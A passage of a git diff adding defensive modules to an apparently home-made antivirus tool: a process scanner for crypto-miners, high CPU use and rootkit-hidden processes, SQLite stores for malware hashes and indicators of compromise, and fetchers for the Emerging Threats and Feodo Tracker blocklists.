cpu_threshold: + CPU-usage percentage above which a process is flagged. Defaults to + :pydata:`constants.HIGH_CPU_THRESHOLD`. + """ + + def __init__(self, cpu_threshold: float = HIGH_CPU_THRESHOLD) -> None: + self.cpu_threshold = cpu_threshold + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "process_scanner" + + @property + def description(self) -> str: + return "Inspects running processes for miners and suspicious activity" + + def scan(self, target: Any = None) -> Dict[str, Any]: + """Run a full process scan. + + *target* is ignored — all live processes are inspected. + + Returns + ------- + dict + ``total``, ``suspicious``, ``high_cpu``, ``hidden``. + """ + all_procs = self.get_all_processes() + suspicious = self.find_suspicious_processes() + high_cpu = self.find_high_cpu_processes() + hidden = self.find_hidden_processes() + + return { + "total": len(all_procs), + "suspicious": suspicious, + "high_cpu": high_cpu, + "hidden": hidden, + } + + # ------------------------------------------------------------------ + # Process enumeration + # ------------------------------------------------------------------ + + @staticmethod + def get_all_processes() -> List[Dict[str, Any]]: + """Return a snapshot of every running process. + + Each dict contains: ``pid``, ``name``, ``cmdline``, ``cpu_percent``, + ``memory_percent``, ``username``, ``create_time``, ``connections``, + ``open_files``. + """ + result: List[Dict[str, Any]] = [] + attrs = [ + "pid", "name", "cmdline", "cpu_percent", + "memory_percent", "username", "create_time", + ] + + for proc in psutil.process_iter(attrs): + try: + info = proc.info + # Connections and open files are expensive; fetch lazily. + try: + connections = [ + { + "fd": c.fd, + "family": str(c.family), + "type": str(c.type), + "laddr": f"{c.laddr.ip}:{c.laddr.port}" if c.laddr else "", + "raddr": f"{c.raddr.ip}:{c.raddr.port}" if c.raddr else "", + "status": c.status, + } + for c in proc.net_connections() + ] + except (psutil.AccessDenied, psutil.NoSuchProcess, OSError): + connections = [] + + try: + open_files = [f.path for f in proc.open_files()] + except (psutil.AccessDenied, psutil.NoSuchProcess, OSError): + open_files = [] + + create_time = info.get("create_time") + result.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": info.get("cpu_percent") or 0.0, + "memory_percent": info.get("memory_percent") or 0.0, + "username": info.get("username", "?"), + "create_time": ( + datetime.utcfromtimestamp(create_time).isoformat() + if create_time + else None + ), + "connections": connections, + "open_files": open_files, + }) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return result + + # ------------------------------------------------------------------ + # Suspicious-process detection + # ------------------------------------------------------------------ + + def find_suspicious_processes(self) -> List[Dict[str, Any]]: + """Return processes whose name or command line matches a known miner. + + Matches are case-insensitive against + :pydata:`constants.CRYPTO_MINER_PROCESS_NAMES`. + """ + suspicious: List[Dict[str, Any]] = [] + + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent", "username"]): + try: + info = proc.info + pname = (info.get("name") or "").lower() + cmdline = " ".join(info.get("cmdline") or []).lower() + + for miner in CRYPTO_MINER_PROCESS_NAMES: + if miner in pname or miner in cmdline: + suspicious.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": info.get("cpu_percent") or 0.0, + "username": info.get("username", "?"), + "matched_signature": miner, + "reason": f"Known miner process: {miner}", + "severity": "CRITICAL", + }) + break # one match per process + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return suspicious + + # ------------------------------------------------------------------ + # High-CPU detection + # ------------------------------------------------------------------ + + def find_high_cpu_processes( + self, + threshold: Optional[float] = None, + ) -> List[Dict[str, Any]]: + """Return processes whose CPU usage exceeds *threshold* percent. + + Parameters + ---------- + threshold: + Override the instance-level ``cpu_threshold``. + """ + limit = threshold if threshold is not None else self.cpu_threshold + high: List[Dict[str, Any]] = [] + + for proc in psutil.process_iter(["pid", "name", "cmdline", "cpu_percent", "username"]): + try: + info = proc.info + cpu = info.get("cpu_percent") or 0.0 + if cpu > limit: + high.append({ + "pid": info["pid"], + "name": info.get("name", ""), + "cmdline": info.get("cmdline") or [], + "cpu_percent": cpu, + "username": info.get("username", "?"), + "reason": f"High CPU usage: {cpu:.1f}%", + "severity": "HIGH", + }) + except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): + continue + + return high + + # ------------------------------------------------------------------ + # Hidden-process detection (Linux only) + # ------------------------------------------------------------------ + + @staticmethod + def find_hidden_processes() -> List[Dict[str, Any]]: + """Detect processes visible in ``/proc`` but hidden from ``psutil``. + + On non-Linux systems this returns an empty list. + + A mismatch may indicate a userland rootkit that hooks the process + listing syscalls. + """ + proc_dir = Path("/proc") + if not proc_dir.is_dir(): + return [] # not Linux + + # PIDs visible via /proc filesystem. + proc_pids: set[int] = set() + try: + for entry in proc_dir.iterdir(): + if entry.name.isdigit(): + proc_pids.add(int(entry.name)) + except PermissionError: + logger.warning("Cannot enumerate /proc") + return [] + + # PIDs visible via psutil (which ultimately calls getdents / readdir). + psutil_pids = set(psutil.pids()) + + hidden: List[Dict[str, Any]] = [] + for pid in proc_pids - psutil_pids: + # Read whatever we can from /proc/. + name = "" + cmdline = "" + try: + comm = proc_dir / str(pid) / "comm" + if comm.exists(): + name = comm.read_text().strip() + except OSError: + pass + try: + cl = proc_dir / str(pid) / "cmdline" + if cl.exists(): + cmdline = cl.read_bytes().replace(b"\x00", b" ").decode(errors="replace").strip() + except OSError: + pass + + hidden.append({ + "pid": pid, + "name": name, + "cmdline": cmdline, + "reason": "Process visible in /proc but hidden from psutil (possible rootkit)", + "severity": "CRITICAL", + }) + + return hidden + + # ------------------------------------------------------------------ + # Single-process detail + # ------------------------------------------------------------------ + + @staticmethod + def get_process_details(pid: int) -> Dict[str, Any]: + """Return comprehensive information about a single process. + + Raises + ------ + psutil.NoSuchProcess + If the PID does not exist. + psutil.AccessDenied + If the caller lacks permission to inspect the process. + """ + proc = psutil.Process(pid) + with proc.oneshot(): + info: Dict[str, Any] = { + "pid": proc.pid, + "name": proc.name(), + "exe": "", + "cmdline": proc.cmdline(), + "status": proc.status(), + "username": "", + "cpu_percent": proc.cpu_percent(interval=0.1), + "memory_percent": proc.memory_percent(), + "memory_info": {}, + "create_time": datetime.utcfromtimestamp(proc.create_time()).isoformat(), + "cwd": "", + "open_files": [], + "connections": [], + "threads": proc.num_threads(), + "nice": None, + "environ": {}, + } + + try: + info["exe"] = proc.exe() + except (psutil.AccessDenied, OSError): + pass + + try: + info["username"] = proc.username() + except psutil.AccessDenied: + pass + + try: + mem = proc.memory_info() + info["memory_info"] = {"rss": mem.rss, "vms": mem.vms} + except (psutil.AccessDenied, OSError): + pass + + try: + info["cwd"] = proc.cwd() + except (psutil.AccessDenied, OSError): + pass + + try: + info["open_files"] = [f.path for f in proc.open_files()] + except (psutil.AccessDenied, OSError): + pass + + try: + info["connections"] = [ + { + "laddr": f"{c.laddr.ip}:{c.laddr.port}" if c.laddr else "", + "raddr": f"{c.raddr.ip}:{c.raddr.port}" if c.raddr else "", + "status": c.status, + } + for c in proc.net_connections() + ] + except (psutil.AccessDenied, OSError): + pass + + try: + info["nice"] = proc.nice() + except (psutil.AccessDenied, OSError): + pass + + try: + info["environ"] = dict(proc.environ()) + except (psutil.AccessDenied, OSError): + pass + + return info + + # ------------------------------------------------------------------ + # Process control + # ------------------------------------------------------------------ + + @staticmethod + def kill_process(pid: int) -> bool: + """Send ``SIGKILL`` to the process with *pid*. + + Returns ``True`` if the signal was delivered successfully, ``False`` + otherwise (e.g. the process no longer exists or permission denied). + """ + try: + proc = psutil.Process(pid) + proc.kill() # SIGKILL + proc.wait(timeout=5) + logger.info("Killed process %d (%s)", pid, proc.name()) + return True + except psutil.NoSuchProcess: + logger.warning("Process %d no longer exists", pid) + return False + except psutil.AccessDenied: + logger.error("Permission denied killing process %d", pid) + # Fall back to raw signal as a last resort. + try: + os.kill(pid, signal.SIGKILL) + logger.info("Killed process %d via os.kill", pid) + return True + except OSError as exc: + logger.error("os.kill(%d) failed: %s", pid, exc) + return False + except psutil.TimeoutExpired: + logger.warning("Process %d did not exit within timeout", pid) + return False diff --git a/ayn-antivirus/ayn_antivirus/signatures/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/db/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py b/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py new file mode 100644 index 0000000..a891ee4 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/db/hash_db.py @@ -0,0 +1,251 @@ +"""SQLite-backed malware hash database for AYN Antivirus. + +Stores SHA-256 / MD5 hashes of known threats with associated metadata +(threat name, type, severity, source feed) and provides efficient lookup, +bulk-insert, search, and export operations. +""" + +from __future__ import annotations + +import csv +import logging +import sqlite3 +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence, Tuple + +from ayn_antivirus.constants import DEFAULT_DB_PATH + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Schema +# --------------------------------------------------------------------------- +_SCHEMA = """ +CREATE TABLE IF NOT EXISTS threats ( + hash TEXT PRIMARY KEY, + threat_name TEXT NOT NULL, + threat_type TEXT NOT NULL DEFAULT 'MALWARE', + severity TEXT NOT NULL DEFAULT 'HIGH', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')), + details TEXT NOT NULL DEFAULT '' +); +CREATE INDEX IF NOT EXISTS idx_threats_type ON threats(threat_type); +CREATE INDEX IF NOT EXISTS idx_threats_source ON threats(source); +CREATE INDEX IF NOT EXISTS idx_threats_name ON threats(threat_name); + +CREATE TABLE IF NOT EXISTS meta ( + key TEXT PRIMARY KEY, + value TEXT +); +""" + + +class HashDatabase: + """Manage a local SQLite database of known-malicious file hashes. + + Parameters + ---------- + db_path: + Path to the SQLite file. Created automatically (with parent dirs) + if it doesn't exist. + """ + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = Path(db_path) + self._conn: Optional[sqlite3.Connection] = None + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def initialize(self) -> None: + """Open the database and create tables if necessary.""" + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.executescript(_SCHEMA) + self._conn.commit() + logger.info("HashDatabase opened: %s (%d hashes)", self.db_path, self.count()) + + def close(self) -> None: + """Flush and close the database.""" + if self._conn: + self._conn.close() + self._conn = None + + @property + def conn(self) -> sqlite3.Connection: + if self._conn is None: + self.initialize() + assert self._conn is not None + return self._conn + + # ------------------------------------------------------------------ + # Single-record operations + # ------------------------------------------------------------------ + + def add_hash( + self, + hash_str: str, + threat_name: str, + threat_type: str = "MALWARE", + severity: str = "HIGH", + source: str = "", + details: str = "", + ) -> None: + """Insert or replace a single hash record.""" + self.conn.execute( + "INSERT OR REPLACE INTO threats " + "(hash, threat_name, threat_type, severity, source, added_date, details) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + ( + hash_str.lower(), + threat_name, + threat_type, + severity, + source, + datetime.utcnow().isoformat(), + details, + ), + ) + self.conn.commit() + + def lookup(self, hash_str: str) -> Optional[Dict[str, Any]]: + """Look up a hash and return its metadata, or ``None``.""" + row = self.conn.execute( + "SELECT * FROM threats WHERE hash = ?", (hash_str.lower(),) + ).fetchone() + if row is None: + return None + return dict(row) + + def remove(self, hash_str: str) -> bool: + """Delete a hash record. Returns ``True`` if a row was deleted.""" + cur = self.conn.execute( + "DELETE FROM threats WHERE hash = ?", (hash_str.lower(),) + ) + self.conn.commit() + return cur.rowcount > 0 + + # ------------------------------------------------------------------ + # Bulk operations + # ------------------------------------------------------------------ + + def bulk_add( + self, + records: Sequence[Tuple[str, str, str, str, str, str]], + ) -> int: + """Efficiently insert new hashes in a single transaction. + + Uses ``INSERT OR IGNORE`` so existing entries are preserved and + only genuinely new hashes are counted. + + Parameters + ---------- + records: + Sequence of ``(hash, threat_name, threat_type, severity, source, details)`` + tuples. + + Returns + ------- + int + Number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [ + (h.lower(), name, ttype, sev, src, now, det) + for h, name, ttype, sev, src, det in records + ] + before = self.count() + self.conn.executemany( + "INSERT OR IGNORE INTO threats " + "(hash, threat_name, threat_type, severity, source, added_date, details) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self.count() - before + + # ------------------------------------------------------------------ + # Query helpers + # ------------------------------------------------------------------ + + def count(self) -> int: + """Total number of hashes in the database.""" + return self.conn.execute("SELECT COUNT(*) FROM threats").fetchone()[0] + + def get_stats(self) -> Dict[str, Any]: + """Return aggregate statistics about the database.""" + c = self.conn + by_type = { + row[0]: row[1] + for row in c.execute( + "SELECT threat_type, COUNT(*) FROM threats GROUP BY threat_type" + ).fetchall() + } + by_source = { + row[0]: row[1] + for row in c.execute( + "SELECT source, COUNT(*) FROM threats GROUP BY source" + ).fetchall() + } + latest = c.execute( + "SELECT MAX(added_date) FROM threats" + ).fetchone()[0] + return { + "total": self.count(), + "by_type": by_type, + "by_source": by_source, + "latest_update": latest, + } + + def search(self, query: str) -> List[Dict[str, Any]]: + """Search threat names with a SQL LIKE pattern. + + Example: ``search("%Trojan%")`` + """ + rows = self.conn.execute( + "SELECT * FROM threats WHERE threat_name LIKE ? ORDER BY added_date DESC LIMIT 500", + (query,), + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Export + # ------------------------------------------------------------------ + + def export_hashes(self, filepath: str | Path) -> int: + """Export all hashes to a CSV file. Returns the row count.""" + filepath = Path(filepath) + filepath.parent.mkdir(parents=True, exist_ok=True) + rows = self.conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, added_date, details " + "FROM threats ORDER BY added_date DESC" + ).fetchall() + with open(filepath, "w", newline="") as fh: + writer = csv.writer(fh) + writer.writerow(["hash", "threat_name", "threat_type", "severity", "source", "added_date", "details"]) + for row in rows: + writer.writerow(list(row)) + return len(rows) + + # ------------------------------------------------------------------ + # Meta helpers (used by manager to track feed state) + # ------------------------------------------------------------------ + + def set_meta(self, key: str, value: str) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO meta (key, value) VALUES (?, ?)", (key, value) + ) + self.conn.commit() + + def get_meta(self, key: str) -> Optional[str]: + row = self.conn.execute( + "SELECT value FROM meta WHERE key = ?", (key,) + ).fetchone() + return row[0] if row else None diff --git a/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py b/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py new file mode 100644 index 0000000..fdc5563 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/db/ioc_db.py @@ -0,0 +1,259 @@ +"""SQLite-backed Indicator of Compromise (IOC) database for AYN Antivirus. + +Stores malicious IPs, domains, and URLs sourced from threat-intelligence +feeds so that the network scanner and detectors can perform real-time +lookups. +""" + +from __future__ import annotations + +import logging +import sqlite3 +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence, Set, Tuple + +from ayn_antivirus.constants import DEFAULT_DB_PATH + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Schema +# --------------------------------------------------------------------------- +_SCHEMA = """ +CREATE TABLE IF NOT EXISTS ioc_ips ( + ip TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'C2', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_ips_source ON ioc_ips(source); + +CREATE TABLE IF NOT EXISTS ioc_domains ( + domain TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'C2', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_domains_source ON ioc_domains(source); + +CREATE TABLE IF NOT EXISTS ioc_urls ( + url TEXT PRIMARY KEY, + threat_name TEXT NOT NULL DEFAULT '', + type TEXT NOT NULL DEFAULT 'malware_distribution', + source TEXT NOT NULL DEFAULT '', + added_date TEXT NOT NULL DEFAULT (datetime('now')) +); +CREATE INDEX IF NOT EXISTS idx_ioc_urls_source ON ioc_urls(source); +""" + + +class IOCDatabase: + """Manage a local SQLite store of Indicators of Compromise. + + Parameters + ---------- + db_path: + Path to the SQLite file. Shares the same file as + :class:`HashDatabase` by default; each uses its own tables. + """ + + _VALID_TABLES: frozenset = frozenset({"ioc_ips", "ioc_domains", "ioc_urls"}) + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = Path(db_path) + self._conn: Optional[sqlite3.Connection] = None + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def initialize(self) -> None: + self.db_path.parent.mkdir(parents=True, exist_ok=True) + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + self._conn.execute("PRAGMA journal_mode=WAL") + self._conn.executescript(_SCHEMA) + self._conn.commit() + logger.info( + "IOCDatabase opened: %s (IPs=%d, domains=%d, URLs=%d)", + self.db_path, + self._count("ioc_ips"), + self._count("ioc_domains"), + self._count("ioc_urls"), + ) + + def close(self) -> None: + if self._conn: + self._conn.close() + self._conn = None + + @property + def conn(self) -> sqlite3.Connection: + if self._conn is None: + self.initialize() + assert self._conn is not None + return self._conn + + def _count(self, table: str) -> int: + if table not in self._VALID_TABLES: + raise ValueError(f"Invalid table name: {table}") + return self.conn.execute(f"SELECT COUNT(*) FROM {table}").fetchone()[0] + + # ------------------------------------------------------------------ + # IPs + # ------------------------------------------------------------------ + + def add_ip( + self, + ip: str, + threat_name: str = "", + type: str = "C2", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_ips (ip, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (ip, threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_ips( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert IPs. Each tuple: ``(ip, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(ip, tn, t, src, now) for ip, tn, t, src in records] + before = self._count("ioc_ips") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_ips (ip, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_ips") - before + + def lookup_ip(self, ip: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_ips WHERE ip = ?", (ip,) + ).fetchone() + return dict(row) if row else None + + def get_all_malicious_ips(self) -> Set[str]: + """Return every stored malicious IP as a set for fast membership tests.""" + rows = self.conn.execute("SELECT ip FROM ioc_ips").fetchall() + return {row[0] for row in rows} + + # ------------------------------------------------------------------ + # Domains + # ------------------------------------------------------------------ + + def add_domain( + self, + domain: str, + threat_name: str = "", + type: str = "C2", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_domains (domain, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (domain.lower(), threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_domains( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert domains. Each tuple: ``(domain, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(d.lower(), tn, t, src, now) for d, tn, t, src in records] + before = self._count("ioc_domains") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_domains (domain, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_domains") - before + + def lookup_domain(self, domain: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_domains WHERE domain = ?", (domain.lower(),) + ).fetchone() + return dict(row) if row else None + + def get_all_malicious_domains(self) -> Set[str]: + """Return every stored malicious domain as a set.""" + rows = self.conn.execute("SELECT domain FROM ioc_domains").fetchall() + return {row[0] for row in rows} + + # ------------------------------------------------------------------ + # URLs + # ------------------------------------------------------------------ + + def add_url( + self, + url: str, + threat_name: str = "", + type: str = "malware_distribution", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_urls (url, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (url, threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_urls( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert URLs. Each tuple: ``(url, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(u, tn, t, src, now) for u, tn, t, src in records] + before = self._count("ioc_urls") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_urls (url, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_urls") - before + + def lookup_url(self, url: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_urls WHERE url = ?", (url,) + ).fetchone() + return dict(row) if row else None + + # ------------------------------------------------------------------ + # Aggregate stats + # ------------------------------------------------------------------ + + def get_stats(self) -> Dict[str, Any]: + return { + "ips": self._count("ioc_ips"), + "domains": self._count("ioc_domains"), + "urls": self._count("ioc_urls"), + } diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py new file mode 100644 index 0000000..59d7901 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py @@ -0,0 +1,92 @@ +"""Abstract base class for AYN threat-intelligence feeds.""" + +from __future__ import annotations + +import logging +import time +from abc import ABC, abstractmethod +from datetime import datetime +from typing import Any, Dict, List, Optional + +logger = logging.getLogger(__name__) + + +class BaseFeed(ABC): + """Common interface for all external threat-intelligence feeds. + + Provides rate-limiting, last-updated tracking, and a uniform + ``fetch()`` contract so the :class:`SignatureManager` can orchestrate + updates without knowing feed internals. + + Parameters + ---------- + rate_limit_seconds: + Minimum interval between successive HTTP requests to the same feed. + """ + + def __init__(self, rate_limit_seconds: float = 2.0) -> None: + self._rate_limit = rate_limit_seconds + self._last_request_time: float = 0.0 + self._last_updated: Optional[datetime] = None + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @abstractmethod + def get_name(self) -> str: + """Return a short, human-readable feed name.""" + ... + + # ------------------------------------------------------------------ + # Fetching + # ------------------------------------------------------------------ + + @abstractmethod + def fetch(self) -> List[Dict[str, Any]]: + """Download the latest entries from the feed. + + Returns a list of dicts. The exact keys depend on the feed type + (hashes, IOCs, rules, etc.). The :class:`SignatureManager` is + responsible for routing each entry to the correct database. + """ + ... + + # ------------------------------------------------------------------ + # State + # ------------------------------------------------------------------ + + @property + def last_updated(self) -> Optional[datetime]: + """Timestamp of the most recent successful fetch.""" + return self._last_updated + + def _mark_updated(self) -> None: + """Record the current time as the last-successful-fetch timestamp.""" + self._last_updated = datetime.utcnow() + + # ------------------------------------------------------------------ + # Rate limiting + # ------------------------------------------------------------------ + + def _rate_limit_wait(self) -> None: + """Block until the rate-limit window has elapsed.""" + elapsed = time.monotonic() - self._last_request_time + remaining = self._rate_limit - elapsed + if remaining > 0: + logger.debug("[%s] Rate-limiting: sleeping %.1fs", self.get_name(), remaining) + time.sleep(remaining) + self._last_request_time = time.monotonic() + + # ------------------------------------------------------------------ + # Logging helpers + # ------------------------------------------------------------------ + + def _log(self, msg: str, *args: Any) -> None: + logger.info("[%s] " + msg, self.get_name(), *args) + + def _warn(self, msg: str, *args: Any) -> None: + logger.warning("[%s] " + msg, self.get_name(), *args) + + def _error(self, msg: str, *args: Any) -> None: + logger.error("[%s] " + msg, self.get_name(), *args) diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py new file mode 100644 index 0000000..c46d305 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py @@ -0,0 +1,124 @@ +"""Emerging Threats (ET Open) feed for AYN Antivirus. + +Parses community Suricata / Snort rules from Proofpoint's ET Open project +to extract IOCs (IP addresses and domains) referenced in active detection +rules. + +Source: https://rules.emergingthreats.net/open/suricata/rules/ +""" + +from __future__ import annotations + +import logging +import re +from typing import Any, Dict, List, Set + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +# We focus on the compromised-IP and C2 rule files. +_RULE_URLS = [ + "https://rules.emergingthreats.net/open/suricata/rules/compromised-ips.txt", + "https://rules.emergingthreats.net/open/suricata/rules/botcc.rules", + "https://rules.emergingthreats.net/open/suricata/rules/ciarmy.rules", + "https://rules.emergingthreats.net/open/suricata/rules/emerging-malware.rules", +] +_TIMEOUT = 30 + +# Regex patterns to extract IPs and domains from rule bodies. +_RE_IPV4 = re.compile(r"\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\b") +_RE_DOMAIN = re.compile( + r'content:"([a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?' + r'(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*' + r'\.[a-zA-Z]{2,})"' +) + +# Private / non-routable ranges to exclude from IP results. +_PRIVATE_PREFIXES = ( + "10.", "127.", "172.16.", "172.17.", "172.18.", "172.19.", + "172.20.", "172.21.", "172.22.", "172.23.", "172.24.", "172.25.", + "172.26.", "172.27.", "172.28.", "172.29.", "172.30.", "172.31.", + "192.168.", "0.", "255.", "224.", +) + + +class EmergingThreatsFeed(BaseFeed): + """Parse ET Open rule files to extract malicious IPs and domains.""" + + def get_name(self) -> str: + return "emergingthreats" + + def fetch(self) -> List[Dict[str, Any]]: + """Download and parse ET Open rules, returning IOC dicts. + + Each dict has: ``ioc_type`` (``"ip"`` or ``"domain"``), ``value``, + ``threat_name``, ``type``, ``source``. + """ + self._log("Downloading ET Open rule files") + + all_ips: Set[str] = set() + all_domains: Set[str] = set() + + for url in _RULE_URLS: + self._rate_limit_wait() + try: + resp = requests.get(url, timeout=_TIMEOUT) + resp.raise_for_status() + text = resp.text + except requests.RequestException as exc: + self._warn("Failed to fetch %s: %s", url, exc) + continue + + # Extract IPs. + if url.endswith(".txt"): + # Plain text IP list (one per line). + for line in text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + match = _RE_IPV4.match(line) + if match: + ip = match.group(1) + if not ip.startswith(_PRIVATE_PREFIXES): + all_ips.add(ip) + else: + # Suricata rule file — extract IPs from rule body. + for ip_match in _RE_IPV4.finditer(text): + ip = ip_match.group(1) + if not ip.startswith(_PRIVATE_PREFIXES): + all_ips.add(ip) + + # Extract domains from content matches. + for domain_match in _RE_DOMAIN.finditer(text): + domain = domain_match.group(1).lower() + # Filter out very short or generic patterns. + if "." in domain and len(domain) > 4: + all_domains.add(domain) + + # Build result list. + results: List[Dict[str, Any]] = [] + for ip in all_ips: + results.append({ + "ioc_type": "ip", + "value": ip, + "threat_name": "ET.Compromised", + "type": "C2", + "source": "emergingthreats", + "details": "IP from Emerging Threats ET Open rules", + }) + for domain in all_domains: + results.append({ + "ioc_type": "domain", + "value": domain, + "threat_name": "ET.MaliciousDomain", + "type": "C2", + "source": "emergingthreats", + "details": "Domain extracted from ET Open Suricata rules", + }) + + self._log("Extracted %d IP(s) and %d domain(s)", len(all_ips), len(all_domains)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py new file mode 100644 index 0000000..8cf0195 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py @@ -0,0 +1,73 @@ +"""Feodo Tracker feed for AYN Antivirus. + +Downloads the recommended IP blocklist from the abuse.ch Feodo Tracker +project. The list contains IP addresses of verified botnet C2 servers +(Dridex, Emotet, TrickBot, QakBot, etc.). + +Source: https://feodotracker.abuse.ch/blocklist/ +""" + +from __future__ import annotations + +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_BLOCKLIST_URL = "https://feodotracker.abuse.ch/downloads/ipblocklist_aggressive.txt" +_TIMEOUT = 30 + + +class FeodoTrackerFeed(BaseFeed): + """Fetch C2 server IPs from the Feodo Tracker blocklist.""" + + def get_name(self) -> str: + return "feodotracker" + + def fetch(self) -> List[Dict[str, Any]]: + """Download the recommended IP blocklist. + + Returns a list of dicts, each with: + ``ioc_type="ip"``, ``value``, ``threat_name``, ``type``, ``source``. + """ + self._rate_limit_wait() + self._log("Downloading Feodo Tracker IP blocklist") + + try: + resp = requests.get(_BLOCKLIST_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Download failed: %s", exc) + return [] + + results: 